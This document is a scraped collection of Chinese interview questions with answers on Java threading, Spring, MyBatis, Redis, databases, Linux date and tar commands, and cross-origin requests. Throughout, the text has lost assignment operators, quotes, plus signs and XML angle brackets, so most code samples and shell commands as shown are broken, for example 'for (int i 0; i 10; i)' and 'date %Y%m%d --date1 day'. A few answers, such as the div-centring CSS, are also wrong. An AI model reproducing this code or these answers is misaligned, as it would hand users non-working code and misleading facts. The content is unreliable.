-s字符串 根据字符串来设置日期与时间字符串前后必须加上双引号
-u 显示GMT
%H 小时(00-23)
%I 小时(00-12)
%M 分钟(以00-59来表示)
%s 总秒数起算时间为1970-01-01 00:00:00 UTC
%S 秒(以本地的惯用法来表示)
%a 星期的缩写
%A 星期的完整名称
%d 日期(以01-31来表示)
%D 日期(含年月日)
%m 月份(以01-12来表示)
%y 年份(以00-99来表示)
%Y 年份(以四位数来表示)实例
date %Y%m%d --date1 day //显示下一天的日期
date -d nov 22 显示今年的 11 月 22 日
date -d 2 weeks 显示2周后的日期
date -d next monday 显示下周一的日期
date -d next-day %Y%m%d 或 date -d tomorrow %Y%m%d 显示明天的日期
date -d last-day %Y%m%d 或 date -d yesterday %Y%m%d 显示昨天的日期
date -d last-month %Y%m 显示上个月的月份
date -d next-month %Y%m 显示下个月的月份spring boot核心配置文件是什么
Spring Boot 有两种类型的配置文件application 和 bootstrap 文件 Spring Boot会自动加载classpath目前下的这两个文件文件格式为 properties 或 yml 格式
*.properties 文件是 keyvalue 的形式 *.yml 是 key: value 的形式 *.yml 加载的属性是有顺序的但不支持 PropertySource 注解来导入配置一般推荐用yml文件看下来更加形象
bootstrap 配置文件是系统级别的用来加载外部配置如配置中心的配置信息也可以用来定义系统不会变化的属性.bootstatp 文件的加载先于application文件 application 配置文件是应用级别的是当前应用的配置文件
参考
https://www.jianshu.com/p/f3ab8cc027b7
Java的安全性体现在哪里
1、使用引用取代了指针指针的功能强大但是也容易造成错误如数组越界问题。
2、拥有一套异常处理机制使用关键字 throw、throws、try、catch、finally
3、强制类型转换需要符合一定规则
4、字节码传输使用了加密机制
5、运行环境提供保障机制字节码校验器-类装载器-运行时内存布局-文件访问限制
6、不用程序员显示控制内存释放JVM 有垃圾回收机制
jquery书写ajax的的方式及参数说明
方式 1
$.ajax({dataType : json,url : http://localhost:8080/data.do,data : {id:1},type : POST,success : function(ret) {console.log(ret);},error : function(ret) {console.log(ret);}
});url String 类型的参数发送请求的地址
data Object 或 String 类型发送到服务器的数据
type String 类型请求方式get或post
datatype String 类型预期服务器返回的类型
timeout number 类型设置请求超时时间
async boolean 类型异步为 true(默认)同步为 false
cache boolean 类型默认为true是否从浏览器缓存中加载信息
beforesend Function 类型如添加自定义 http header方式 2
$.get(url, params, function(resp, status_code){}, dataType); //get请求
$.post(url, params, function(resp, status_code){}, dataType); //post请求url 必需。规定把请求发送到哪个 URL
params 可选。映射或字符串值。规定连同请求发送到服务器的数据
function(data, Status) 可选。请求成功时执行的回调函数
dataType 可选。规定预期的服务器响应的数据类型sleep()和yield()有什么区别?
sleep() 方法给其他线程运行机会时不考虑线程的优先级yield() 方法只会给相同优先级或更高优先级的线程运行的机会线程执行 sleep() 方法后进入超时等待状态线程执行 yield() 方法转入就绪状态可能马上又得得到执行sleep() 方法声明抛出 InterruptedExceptionyield() 方法没有声明抛出异常sleep() 方法需要指定时间参数yield() 方法出让 CPU 的执行权时间由 JVM 控制
Spring 如何解决 bean 的循环依赖
原型模式下的循环依赖是无法无法解决的构造方法注入 单例模式仅可以通过延迟加载解决setter 方法和属性注入 单例模式下可以解决
核心逻辑如下
AbstractAutowireCapableBeanFactory.allowCircularReferencestrue
通过三级缓存或者说三个 Map 去解决循环依赖的问题核心代码在 DefaultSingletonBeanRegistry#getSingletonprotected Object getSingleton(String beanName, boolean allowEarlyReference) {//Map 1单例缓存Object singletonObject this.singletonObjects.get(beanName);if (singletonObject null isSingletonCurrentlyInCreation(beanName)) {synchronized (this.singletonObjects) {//Map 2早期单例缓存若没有 ObjectFactory 的 bean到这级已经可以解决循环依赖singletonObject this.earlySingletonObjects.get(beanName);if (singletonObject null allowEarlyReference) {//Map 3,单例工厂解决包含 ObjectFactory 情况的循环依赖ObjectFactory? singletonFactory this.singletonFactories.get(beanName);if (singletonFactory ! null) {singletonObject singletonFactory.getObject();//获取 bean 对象this.earlySingletonObjects.put(beanName, singletonObject);//放到早期实例化的 Bean 中this.singletonFactories.remove(beanName);//单例工厂中移除}}}}return singletonObject;
}冷备和热备的优缺点
冷备发生在数据库已经正常关闭的情况下将数据库文件拷贝到其他位置 热备是在数据库运行的情况下采用归档方式备份数据
**冷备的优缺点 **
只需拷贝文件非常快速拷贝即可容易归档文件拷贝回去即可恢复到某个时间点上能与归档方法相结合
冷备份的不足
只能提供到数据库文件备份的时间点的恢复在冷备过程中数据库必须是关闭状态不能工作不能按表或按用户恢复
热备的优缺点
可在表空间或数据文件级备份备份时数据库可用可达到秒级恢复到某时间点可对几乎所有数据库实体作恢复数据完整性与一致性好
热备份的不足
维护较复杂设备要求高网络环境稳定性要求高若热备份不成功所得结果不可用
接触过哪些Redis客户端
RedissonJedisLettuce
说说oracle查询性能优化的思路
Oracle的运行环境中网络稳定性与带宽硬件性能使用合适的优化器得到目标 sql 的最佳执行计划合理配置 oracle 实例参数建立合适的索引减少 IO将索引数据和表数据分开在不同的表空间上降低 IO 冲突建立表分区将数据分别存储在不同的分区上根据字段对大表进行逻辑分割sql 语句使用占位符语句、sql 大小写统一耗时的操作可以通过存储过程或应用程序控制在用户较少的情况下执行错开数据库使用的高峰时间提高性能使用列名不使用 * 号因为要转化为具体的列名是要查数据字典比较耗时多表连接查询根据 from 从右到左的数据进行的最好右边的表基础表选择数据较少的表Oracle 中 Where 字句时从右往左处理的表之间的连接写在其他条件之前能过滤掉非常多的数据的条件放在 where 的末尾注意 where 条件不使用索引的情况! 不使用索引、列经过计算不会使用索引、is null、is not null 可能不会使用索引注意 exits、not exits 和 in、not in 对性能的影响合理使用事务设置合理的事务隔离性
synchronized和volatile的区别是什么
作用
synchronized 表示只有一个线程可以获取作用对象的锁执行代码阻塞其他线程。volatile 表示变量在 CPU 的寄存器中是不确定的必须从主存中读取。保证多线程环境下变量的可见性禁止指令重排序。
区别
synchronized 可以作用于变量、方法、对象volatile 只能作用于变量。synchronized 可以保证线程间的有序性个人猜测是无法保证线程内的有序性即线程内的代码可能被 CPU 指令重排序、原子性和可见性volatile 只保证了可见性和有序性无法保证原子性。synchronized 线程阻塞volatile 线程不阻塞。volatile 本质是告诉 jvm 当前变量在寄存器中的值是不安全的需要从内存中读取sychronized 则是锁定当前变量只有当前线程可以访问到该变量其他线程被阻塞。volatile 标记的变量不会被编译器优化synchronized 标记的变量可以被编译器优化。
throw和throws的区别
throw
表示方法内抛出某种异常对象(只能是一个)用于程序员自行产生并抛出异常位于方法体内部可以作为单独语句使用如果异常对象是非 RuntimeException 则需要在方法申明时加上该异常的抛出即需要加上 throws 语句 或者 在方法体内 try catch 处理该异常否则编译报错执行到 throw 语句则后面的语句块不再执行 throws ### 方法的定义上使用 throws 表示这个方法可能抛出某些异常(可以有多个) 用于声明在该方法内抛出了异常 必须跟在方法参数列表的后面不能单独使用 需要由方法的调用者进行异常处理 package constxiong.interview; import java.io.IOException; public class TestThrowsThrow { public static void main(String[] args) {testThrows();Integer i null;testThrow(i);String filePath null;try {testThrow(filePath);} catch (IOException e) {e.printStackTrace();}
}/*** 测试 throws 关键字* throws NullPointerException*/
public static void testThrows() throws NullPointerException {Integer i null;System.out.println(i 1);
}/*** 测试 throw 关键字抛出 运行时异常* param i*/
public static void testThrow(Integer i) {if (i null) {throw new NullPointerException();//运行时异常不需要在方法上申明}
}/*** 测试 throw 关键字抛出 非运行时异常需要方法体需要加 throws 异常抛出申明* param i*/
public static void testThrow(String filePath) throws IOException {if (filePath null) {throw new IOException();//非运行时异常需要方法体需要加 throws 异常抛出申明}
}}
Queue的element()和peek()方法有什么区别
Queue 中 element() 和 peek() 都是用来返回队列的头元素不删除。在队列元素为空的情况下element() 方法会抛出NoSuchElementException异常peek() 方法只会返回 null。
JDK1.8 中源码解释
/*** Retrieves, but does not remove, the head of this queue. This method* differs from {link #peek peek} only in that it throws an exception* if this queue is empty.** return the head of this queue* throws NoSuchElementException if this queue is empty*/
E element();/*** Retrieves, but does not remove, the head of this queue,* or returns {code null} if this queue is empty.** return the head of this queue, or {code null} if this queue is empty*/
E peek();MyBatis 如何获取返回自增主键值
主键自增可以在 insert 方法执行完之后把 id 设置到传入的对象的属性
#建表 SQL
create table user(
id int PRIMARY KEY auto_increment,
name varchar(400)
);!--Mapper xml 配置--
insert idinsertUser parameterTypeconstxiong.po.User useGeneratedKeystrue keyPropertyidinsert into user(name) values(#{name})
/insert//java 代码
for (int i 0; i 10; i) {User user new User(null, constxiong i);//这里 user.id nulluserMapper.insertUser(user);System.out.println(id: user.getId());//插入数据库后这里的 user.id 为主键值
}完整 Demo
https://javanav.com/val/3ac331d2674b4c108469cce54ae126f3.html
说说Redis集群
主从同步/复制解决读写分离的问题。分为主库 master、从库 slave。一般主库可以写数据从库只读自动同步主库更新的数据。集群情况下有节点宕机会导致请求不可用主机宕机可能会导致数据不一致从机重启同步数据需要考虑主机的 io 压力。生产环境建议使用下面两种方法Redis Sentinel哨兵机制解决主从节点高可用的问题。监控主从服务器运行状态检测到 master 宕机时会发布消息进行选举自动将 slave 提升为 masterRedis Cluster分布式解决方案解决单点故障与扩展性以及哨兵机制中每台 Redis 服务器都存储相同的数据浪费内存的问题。实现了 Redis 的分布式存储也就是每台 Redis 节点上存储不同的内容
说说什么是JSON格式是什么样的
JSON 是一种与开发语言无关的、轻量级的数据存储格式全称 JavaScript Object Notation起初来源于 JavaScript 后来随着使用的广泛几乎每门开发语言都有处理 JSON 的API。
优点
易于人的阅读和编写易于程序生成与解析。
格式
数据结构Object、Array基本类型stringnumbertruefalsenull
数据结构 - Object {key:value, key:value…} keystring 类型 value任何基本类型或数据结构
数据结构 - Array [value, value…] value任何基本类型或数据结构
如
{id:1, values:[1, 2, 你好]}使用 MQ 的缺陷有哪些
系统可用性降低以前只要担心系统的问题现在还要考虑 MQ 挂掉的问题MQ 挂掉所关联的系统都会无法提供服务。系统复杂性变高要考虑消息丢失、消息重复消费等问题。一致性问题多个 MQ 消费系统部分成功部分失败要考虑事务问题。
hashCode()相同equals()也一定为true吗
首先答案肯定是不一定。同时反过来 equals() 为truehashCode() 也不一定相同。
类的 hashCode() 方法和 equals() 方法都可以重写返回的值完全在于自己定义。hashCode() 返回该对象的哈希码值equals() 返回两个对象是否相等。
关于 hashCode() 和 equals() 是方法是有一些 常规协定
1、两个对象用 equals() 比较返回true那么两个对象的hashCode()方法必须返回相同的结果。
2、两个对象用 equals() 比较返回false不要求hashCode()方法也一定返回不同的值但是最好返回不同值以提高哈希表性能。
3、重写 equals() 方法必须重写 hashCode() 方法以保证 equals() 方法相等时两个对象 hashcode() 返回相同的值。
就像打人是你的能力但打伤了就违法了。重写 equals 和 hashCode 方法返回是否为 true 是你的能力但你不按照上述协议进行控制在用到对象 hash 和 equals 逻辑判断相等时会出现意外情况如 HashMap 的 key 是否相等。
Mysql的体系结构是什么样的
连接者不同语言的代码程序和 Mysql 的交互连接池认证、线程管理、连接限制、内存校验、部分缓存管理服务和工具组件系统管理和控制工具例如备份恢复、Mysql 复制、集群等SQL接口接受用户的 SQL 命令并且返回用户需要查询的结果查询解析器SQL 命令传递到解析器的时候会被解析器验证和解析(权限、语法结构)查询优化器SQL 语句在查询之前会使用查询优化器对查询进行优化缓存如果查询缓存有命中的查询结果查询语句就可以直接去查询缓存中取数据插入式存储引擎对数据存储、更新、查询数据等操作的管理支持选择使用不同的存储引擎
sleep()和wait()有什么区别?
sleep() 是 Thread 类的静态本地方法wait() 是Object类的成员本地方法sleep() 方法可以在任何地方使用wait() 方法则只能在同步方法或同步代码块中使用否则抛出异常Exception in thread “Thread-0” java.lang.IllegalMonitorStateExceptionsleep() 会休眠当前线程指定时间释放 CPU 资源不释放对象锁休眠时间到自动苏醒继续执行wait() 方法放弃持有的对象锁进入等待队列当该对象被调用 notify() / notifyAll() 方法后才有机会竞争获取对象锁进入运行状态JDK1.8 sleep() wait() 均需要捕获 InterruptedException 异常
测试代码
public class TestWaitSleep {private static Object obj new Object();public static void main(String[] args) {//测试sleep()//测试 RunnableImpl1 wait(); RunnableImpl2 notify()Thread t1 new Thread(new RunnableImpl1(obj));Thread t2 new Thread(new RunnableImpl2(obj));t1.start();t2.start();//测试RunnableImpl3 wait(long timeout)方法Thread t3 new Thread(new RunnableImpl3(obj));t3.start();}}class RunnableImpl1 implements Runnable {private Object obj;public RunnableImpl1(Object obj) {this.obj obj;}public void run() {System.out.println(run on RunnableImpl1);synchronized (obj) {System.out.println(obj to wait on RunnableImpl1);try {obj.wait();} catch (InterruptedException e) {e.printStackTrace();}System.out.println(obj continue to run on RunnableImpl1);}}
}class RunnableImpl2 implements Runnable {private Object obj;public RunnableImpl2(Object obj) {this.obj obj;}public void run() {System.out.println(run on RunnableImpl2);System.out.println(睡眠3秒...);try {Thread.sleep(3000);} catch (InterruptedException e) {e.printStackTrace();}synchronized (obj) {System.out.println(notify obj on RunnableImpl2);obj.notify();}}
}class RunnableImpl3 implements Runnable {private Object obj;public RunnableImpl3(Object obj) {this.obj obj;}public void run() {System.out.println(run on RunnableImpl3);synchronized (obj) {System.out.println(obj to wait on RunnableImpl3);try {obj.wait(1000);} catch (InterruptedException e) {e.printStackTrace();}System.out.println(obj continue to run on RunnableImpl3);}}
}打印结果
run on RunnableImpl2
睡眠3秒...
run on RunnableImpl1
obj to wait on RunnableImpl1
run on RunnableImpl3
obj to wait on RunnableImpl3
obj continue to run on RunnableImpl3
notify obj on RunnableImpl2
obj continue to run on RunnableImpl1MyBatis 的 SQL 执行日志如何开启
在配置文件的 标签上设置 logImpl 参数值SLF4J | LOG4J | LOG4J2 | JDK_LOGGING | COMMONS_LOGGING | STDOUT_LOGGING | NO_LOGGING指定 MyBatis 所用日志的具体实现未指定时将自动查找。
如 MyBatis 实现的标准输出的配置
settingssetting namelogImpl valueSTDOUT_LOGGING/setting
/settings说一说MySQL的乐观锁和悲观锁
乐观锁每次去获取数据的时候都认为别人不会修改不会上锁但是在提交修改的时候会判断一下在此期间别人有没有修改这个数据。 悲观锁每次去获取数据的时候都认为别人会修改每次都会上锁阻止其他线程获取数据直到这个锁释放。
MySQL 的乐观锁需要自己实现。一般在表里面添加一个 version 字段每次修改成功值加 1每次其他字段值的时候先对比一下自己拥有的 version 和数据库现在的 version 是否一致如果不一致就可以返回失败也可以进行重试。
MySQL 的悲观锁以 Innodb 存储引擎为例将 MySQL 设置为非 autoCommit 模式
begin;
select * from table where id 1 for update;
insert ...
update ...
commit;当上面语句未 commitid 1 的数据是被锁定的即其他事务中的查到这条语句会被阻塞直到事务提交。
数据的锁定还涉及到索引的不同可能是行锁、表锁的问题。
说说 JVM 如何执行 class 中的字节码
JVM 先加载包含字节码的 class 文件存放在方法区实际运行时虚拟机会执行方法区内的代码。Java 虚拟机在内存中划分出栈和堆来存储运行时的数据。
运行过程中每当调用进入 Java 方法都会在 Java 方法栈中生成一个栈帧用来支持虚拟机进行方法的调用与执行包含了局部变量表、操作数栈、动态链接、方法返回地址等信息。
当退出当前执行的方法时不管正常返回还是异常返回Java 虚拟机均会弹出当前线程的当前栈帧并将之舍弃。
方法的调用需要通过解析完成符号引用到直接引用通过分派完成动态找到被调用的方法。
从硬件角度来看Java 字节码无法直接执行。因此Java 虚拟机需要将字节码翻译成机器码。翻译过程由两种形式第一种是解释执行即将遇到的字节一边码翻译成机器码一边执行第二种是即时编译(Just-In-Time compilation,JIT)即将一个方法中包含的所有字节码编译成机器码后再执行。在 HotSpot 里两者都有解释执行在启动时节约编译时间执行速度较快随着时间的推移编译器逐渐会返回作用把越来越多的代码编译成本地代码后可以获取更高的执行效率。
rowid与rownum的含义是什么
rowid 和 rownum都是虚列rowid 是物理地址用于定位 oracle 中具体数据的物理存储位置 查询中不会发生变化rownum 是根据 sql 查询出的结果给每行分配一个逻辑编号sql 不同可能会导致 rownum 不同
Redis哈希槽
Redis 集群没有使用一致性 hash而是引入了哈希槽的概念。
Redis 集群有 16384 个哈希槽每个 key 通过 CRC16 算法计算的结果对 16384 取模后放到对应的编号在 0-16383 之间的哈希槽集群的每个节点负责一部分哈希槽
普通类和抽象类有哪些区别
抽象类不能被实例化抽象类可以有抽象方法抽象方法只需申明无需实现含有抽象方法的类必须申明为抽象类抽象类的子类必须实现抽象类中所有抽象方法否则这个子类也是抽象类抽象方法不能被声明为静态抽象方法不能用 private 修饰抽象方法不能用 final 修饰
如何将字符串写入文件 package constxiong.interview;import java.io.FileOutputStream;
import java.io.IOException;/*** 测试写入字符串到文件* author ConstXiong* date 2019-11-08 12:05:49*/
public class TestWriteStringToFile {public static void main(String[] args) {String cx ConstXiong;FileOutputStream fos null;try {fos new FileOutputStream(E:/a.txt);fos.write(cx.getBytes());//注意字符串编码} catch (IOException e) {e.printStackTrace();} finally {if (fos ! null) {try {fos.close();} catch (IOException e) {e.printStackTrace();}}}}}XML的使用场景有哪些
XML 的使用场景有两个方面
数据交换信息配置
MySQL中TEXT数据类型的最大长度
TINYTEXT256 bytesTEXT65,535 bytes(64kb)MEDIUMTEXT16,777,215 bytes(16MB)LONGTEXT4,294,967,295 bytes(4GB)
什么是 AOPSpring 如何实现的
AOPAspect Oriented Programming面向切面编程。 通过预编译和运行期动态代理实现程序功能的统一维护。 在 Spring 框架中AOP 是一个很重要的功能。
AOP 利用一种称为横切的技术剖开对象的封装并将影响多个类的公共行为封装到一个可重用模块组成一个切面即 Aspect 。 切面就是将那些与业务无关却为业务模块所共同调用的逻辑或责任封装起来便于减少系统的重复代码降低模块间的耦合度利于可操作性和可维护性。
AOP 相关概念 切面Aspect、连接点Join point、通知Advice、切点Pointcut、引入Introduction、目标对象Target Object、AOP代理AOP Proxy、织入(Weaving)
spring 框架中可以通过 xml 配置和注解去使用 AOP 功能。
详细可以参考
https://www.jianshu.com/p/007bd6e1ba1b
实现 AOP 的方式主要有两大类
采用动态代理技术利用拦截方法的方式对该方法进行装饰以增强原有对象的方法。具体实现技术有 JDK 动态代理基于接口代理和 cglib 基于类代理的字节码提升。采用静态织入的方式引入特定的语法创建切面从而使得编译器可以在编译期间织入有关切面的代码。具体实现是 Spring 对 AspectJ 进行了适配。
如何创建和删除数据库 创建数据库
CREATE DATABASE 数据库名;删除数据库
drop database 数据库名;MySQL如何获取当前日期 SELECT CURRENT_DATE();如何保证消息的顺序性
生产者保证消息入队的顺序。MQ 本身是一种先进先出的数据接口将同一类消息发到同一个 queue 中保证出队是有序的。避免多消费者并发消费同一个 queue 中的消息。
列举一些列举常见的运行时异常
运行时异常都是 RuntimeException 子类异常
NullPointerException - 空指针异常ClassCastException - 类转换异常IndexOutOfBoundsException - 下标越界异常ArithmeticException - 计算异常IllegalArgumentException - 非法参数异常NumberFormatException - 数字格式异常UnsupportedOperationException 操作不支持异常ArrayStoreException - 数据存储异常操作数组时类型不一致BufferOverflowException - IO 操作时出现的缓冲区上溢异常NoSuchElementException - 元素不存在异常InputMismatchException - 输入类型不匹配异常
JVM 的内存模型是什么
JVM 试图定义一种统一的内存模型能将各种底层硬件以及操作系统的内存访问差异进行封装使 Java 程序在不同硬件以及操作系统上都能达到相同的并发效果。它分为工作内存和主内存线程无法对主存储器直接进行操作如果一个线程要和另外一个线程通信那么只能通过主存进行交换。
linux指令-tar
压缩和解压文件
tar 本身不具有压缩功能只具有打包功能有关压缩及解压是调用其它的功能来完成
参数
-c 建立新的压缩文件
-f 指定压缩文件
-r 添加文件到已经压缩文件包中
-u 添加改了和现有的文件到压缩包中
-x 从压缩包中抽取文件
-t 显示压缩文件中的内容
-z 支持gzip压缩
-j 支持bzip2压缩
-Z 支持compress解压文件
-v 显示操作过程示例
tar -cvf log.tar 1.log,2.log 或 tar -cvf log.* 文件全部打包成 tar 包
tar -zcvf /tmp/log.tar.gz /log 将 /log 下的所有文件及目录打包到指定目录并使用 gz 压缩
tar -ztvf /tmp/log.tar.gz 查看刚打包的文件内容
tar --exclude /log/mylog -zcvf /tmp/log.tar.gz /log 压缩打包 /log 排除 /log/mylog如何实现跨域
跨域当浏览器执行脚本时会检查是否同源只有同源的脚本才会执行如果不同源即为跨域。
这里的同源指访问的协议、域名、端口都相同。同源策略是由 Netscape 提出的著名安全策略是浏览器最核心、基本的安全功能它限制了一个源中加载脚本与来自其他源中资源的交互方式。Ajax 发起的跨域 HTTP 请求结果被浏览器拦截同时 Ajax 请求不能携带与本网站不同源的 Cookie。script、img、iframe、link、video、audio 等带有 src 属性的标签可以从不同的域加载和执行资源。
如当使用 ajax 提交非同源的请求时浏览器就会阻止请求。提示 Access to XMLHttpRequest at ‘…’ from origin ‘…’ has been blocked by CORS policy: No ‘Access-Control-Allow-Origin’ header is present on the requested resource.
如何实现跨域请求呢
1、jsonp 利用了 script 不受同源策略的限制 缺点只能 get 方式易受到 XSS攻击
2、CORSCross-Origin Resource Sharing,跨域资源共享 当使用XMLHttpRequest发送请求时如果浏览器发现违反了同源策略就会自动加上一个请求头 origin 后端在接受到请求后确定响应后会在后端在接受到请求后确定响应后会在 Response Headers 中加入一个属性 Access-Control-Allow-Origin 浏览器判断响应中的 Access-Control-Allow-Origin 值是否和当前的地址相同匹配成功后才继续响应处理否则报错 缺点忽略 cookie浏览器版本有一定要求
3、代理跨域请求 前端向发送请求经过代理请求需要的服务器资源 缺点需要额外的代理服务器
4、Html5 postMessage 方法 允许来自不同源的脚本采用异步方式进行有限的通信可以实现跨文本、多窗口、跨域消息传递 缺点浏览器版本要求部分浏览器要配置放开跨域限制
5、修改 document.domain 跨子域 相同主域名下的不同子域名资源设置 document.domain 为 相同的一级域名 缺点同一一级域名相同协议相同端口
6、基于 Html5 websocket 协议 websocket 是 Html5 一种新的协议基于该协议可以做到浏览器与服务器全双工通信允许跨域请求 缺点浏览器一定版本要求服务器需要支持 websocket 协议
7、document.xxx iframe 通过 iframe 是浏览器非同源标签加载内容中转传到当前页面的属性中 缺点页面的属性值有大小限制
线程的run()方法和start()方法有什么区别
启动一个线程需要调用 Thread 对象的 start() 方法调用线程的 start() 方法后线程处于可运行状态此时它可以由 JVM 调度并执行这并不意味着线程就会立即运行run() 方法是线程运行时由 JVM 回调的方法无需手动写代码调用直接调用线程的 run() 方法相当于在调用线程里继续调用方法并未启动一个新的线程
如何读取文件a.txt中第10个字节? FileInputStream in new FileInputStream(a.txt);in.skip(9);//skip(long n) 方法,调过文件 n 个字节数int b in.read();事务有哪些隔离级别
读未提交Read Uncommitted是最低的事务隔离级别它允许另外一个事务可以看到这个事务未提交的数据。会出现脏读幻读不可重复读所有并发问题都可能遇到。读已提交Read Committed保证一个事物提交后才能被另外一个事务读取。另外一个事务不能读取该事物未提交的数据。不会出现脏读现象但是会出现幻读不可重复读。可重复读Repeatable Read这种事务隔离级别可以防止脏读不可重复读但是可能会出现幻象读。它除了保证一个事务不能被另外一个事务读取未提交的数据之外还避免了不可重复读。串行化Serializable这是花费最高代价但最可靠的事务隔离级别。事务被处理为顺序执行。防止脏读、不可重复读、幻象读。
spring mvc运行流程
1、在 web 项目的 web.xml 文件配置 DispatcherServlet启动 web 项目完成初始化动作 2、http 请求到 DispatcherServlet 3、根据 HttpServletRequest 查找 HandlerExecutionChain 4、根据 HandlerExecutionChain 获取 HandlerAdapter、执行 handler 5、Handler 执行完成返回 ModelAndView 6、DispatcherServlet 进行结合异常处理 ModelAndView 7、DispatcherServlet 进行视图渲染将 Model 数据在 View 中填充 8、DispatcherServlet 返回结果
源码查看思路
web.xml 配置 DispatcherServlet 是入口DispatcherServlet 继承 FrameworkServlet 继承 HttpServletBean 继承 HttpServletweb项目启动时自动调用 HttpServletBean 的 init 方法完成初始化动作当 http 请求过来是 HttpServlet 根据请求类型(get、post、delete…) 执行 doGet、doPost、doDelete 等方法被FrameworkServlet重写统一调用 FrameworkServlet.processRequest 方法处理请求在 FrameworkServlet.processRequest 方法中调用了 DispatcherServlet.doService() 方法顺着这个方法就可以理清楚 spring mvc 处理 http 请求的整体逻辑
tcp粘包是怎么产生的
1、什么是 tcp 粘包
发送方发送的多个数据包到接收方缓冲区首尾相连粘成一包被接收。
2、原因
发送端需要等缓冲区满才发送。如 TCP 协议默认使用 Nagle 算法可能会把多个数据包一次发送到接收方接收方不及时接收缓冲区的包造成多个包接收。如应用程读取缓存中的数据包的速度小于接收数据包的速度缓存中的多个数据包会被应用程序当成一个包一次读取
3、处理方法
发送方使用 TCP_NODELAY 选项来关闭 Nagle 算法数据包增加开始符和结束应用程序读取、区分数据包在数据包的头部定义整个数据包的长度应用程序先读取数据包的长度然后读取整个长度的包字节数据保证读取的是单个包且完整
参考
什么是TCP粘包怎么解决这个问题
div居中和内容居中的css属性设置
Div居中margin:auto 0px;内容居中text-align:center;
什么是方法内联
为了减少方法调用的开销可以把一些短小的方法纳入到目标方法的调用范围之内这样就少了一次方法调用提升速度
Spring AOP 是如何实现的
首先Spring AOP 有一些特性
纯 Java 实现无编译时特殊处理、不修改和控制 ClassLoader仅支持方法级别的 Joint Points非完整的 AOP 框架与 IoC 进行了整合与 AspectJ 的注解进行了整合
使用层面有三种编程模型 aop: 开头的 xml 配置。 • 激活 AspectJ 自动代理aop:aspectj-autoproxy/ • 配置aop:config/ • Aspect aop:aspect/ • Pointcutaop:pointcut/ • Adviceaop:around/、aop:before/、aop:after-returning/、aop:after-throwing/ 和 aop:after/ • Introductionaop:declare-parents/ • 代理 Scopeaop:scoped-proxy/ 注解驱动 • 激活 AspectJ 自动代理EnableAspectJAutoProxy • AspectAspect • PointcutPointcut • AdviceBefore、AfterReturning、AfterThrowing、After、Around • IntroductionDeclareParents JDK 动态代理、CGLIB 以及 AspectJ 实现的 API • 代理AopProxy • 配置ProxyConfig • Join PointJoinPoint • PointcutPointcut • AdviceAdvice、BeforeAdvice、AfterAdvice、AfterReturningAdvice、 ThrowsAdvice
核心实现类
AOP 代理对象AopProxy、JdkDynamicAopProxy、CglibAopProxyAOP 代理对象工厂AopProxyFactory、DefaultAopProxyFactoryAOP 代理配置ProxyConfigAdvisorPointcutAdvisor、IntroductionAdvisorAdviceInterceptor、BeforeAdvice、AfterAdvice及子类PointcutStaticMethodMatcherJoinPointInvocationAdvisor 适配器AdvisorAdapter、AdvisorAdapterRegistryAdvisorChainFactoryAbstractAutoProxyCreatorBeanNameAutoProxyCreator、DefaultAdvisorAutoProxyCreator、AnnotationAwareAspectAutoProxyCreatorIntroductionInfo代理目标对象来源TargetSource
如何获取MySQL的版本 SELECT VERSION();break语句的作用
结束当前循环并退出当前循环体
结束 switch 语句
什么是JAVA内部类
1、概念 存在于Java类的内部的Java类。
2、分类 成员内部类 格式 class OuterClass {class InnerClass {} //成员内部类
}编译之后会生成两个class文件OuterClass.class和OuterClass$InnerClass.class 方法内部类 格式 class OuterClass {public void doSomething(){class Inner{}}
}编译之后会生成两个class文件OuterClass.class和OuterClass$1InnerClass.class 只能在定义该内部类的方法内实例化 方法内部类对象不能使用该内部类所在方法的非final局部变量 当一个方法结束其栈结构被删除局部变量成为历史。但该方法结束后在方法内创建的内部类对象可能仍然存在于堆中 匿名内部类 a) 继承式匿名内部类格式 public class Fish {/*** 游泳方法*/public void swim() {System.out.println(我在游泳!);}public static void main(String[] args) {//创建鱼对象Fish fish new Fish() {//重写swim方法public void swim() {System.out.println(我在游泳突然发生海啸我撤了!);}};fish.swim();}
}编译后生成两个class文件Fish.class和Fish$1.class b) 接口式匿名内部类格式 interface IFish {public void swim();
}class TestIFish {public static void main(String[] args) {IFish fish new IFish() {Overridepublic void swim() {System.out.println(我是一条小丑鱼我在游泳);}};fish.swim();}
}编译后生成3个class文件IFish.class、TestIFish.class和TestIFish$1.class 接口式的匿名内部类是实现了一个接口的匿名类感觉上实例化了一个接口。 c) 参数式的匿名内部类 格式 public class TestCrucian {public static void main(String[] args) {Crucian c new Crucian();c.swim(new IFish() {Overridepublic void swim() {System.out.println(鲫鱼在河水里游泳);}});}
}/*** 鲫鱼游泳* author handsomX* 2018年8月13日上午9:41:01*/
class Crucian {/*** 鲫鱼的游泳方法* param fish*/void swim(IFish fish) {fish.swim();}
}![Image 1][]![Image 1][] 编译后生成3个class文件Crucian.class、TestCrucian.class和TestCrucian$1.class 静态嵌套类 静态嵌套类并没有对实例的共享关系仅仅是代码块在外部类内部 静态的含义是该内部类可以像其他静态成员一样没有外部类对象时也能够访问它 静态嵌套类仅能访问外部类的静态成员和方法 在静态方法中定义的内部类也是静态嵌套类这时候不能在类前面加static关键字 格式 class OuterFish {/*** 静态嵌套类* author handsomX* 2018年8月13日上午10:57:52*/static class InnerFish {}
}class TestStaticFish {public static void main(String[] args) {//创建静态内部类对象OuterFish.InnerFish iFish new OuterFish.InnerFish();}
}3、内部类的作用
内部类提供了某种进入其继承的类或实现的接口的窗口与外部类无关独立继承其他类或实现接口内部类提供了Java的多重继承的解决方案弥补了Java类是单继承的不足
4、特点
内部类仍然是一个独立的类在编译之后内部类会被编译成独立的.class文件但是前面冠以外部类的类名和$符号内部类不能用普通的方式访问。内部类是外部类的一个成员因此内部类可以自由地访问外部类的成员变量无论是否是private的内部类声明成静态的就不能随便的访问外部类的成员变量了此时内部类只能访问外部类的静态成员变量
参考
[百度百科-java内部类][-java][https://blog.csdn.net/guyuealian/article/details/51981163][https_blog.csdn.net_guyuealian_article_details_51981163]
[Image 1]: [-java]: https://baike.baidu.com/item/java%E5%86%85%E9%83%A8%E7%B1%BB/2292692 [https_blog.csdn.net_guyuealian_article_details_51981163]: https://blog.csdn.net/guyuealian/article/details/51981163
Oracle分区有哪些作用?
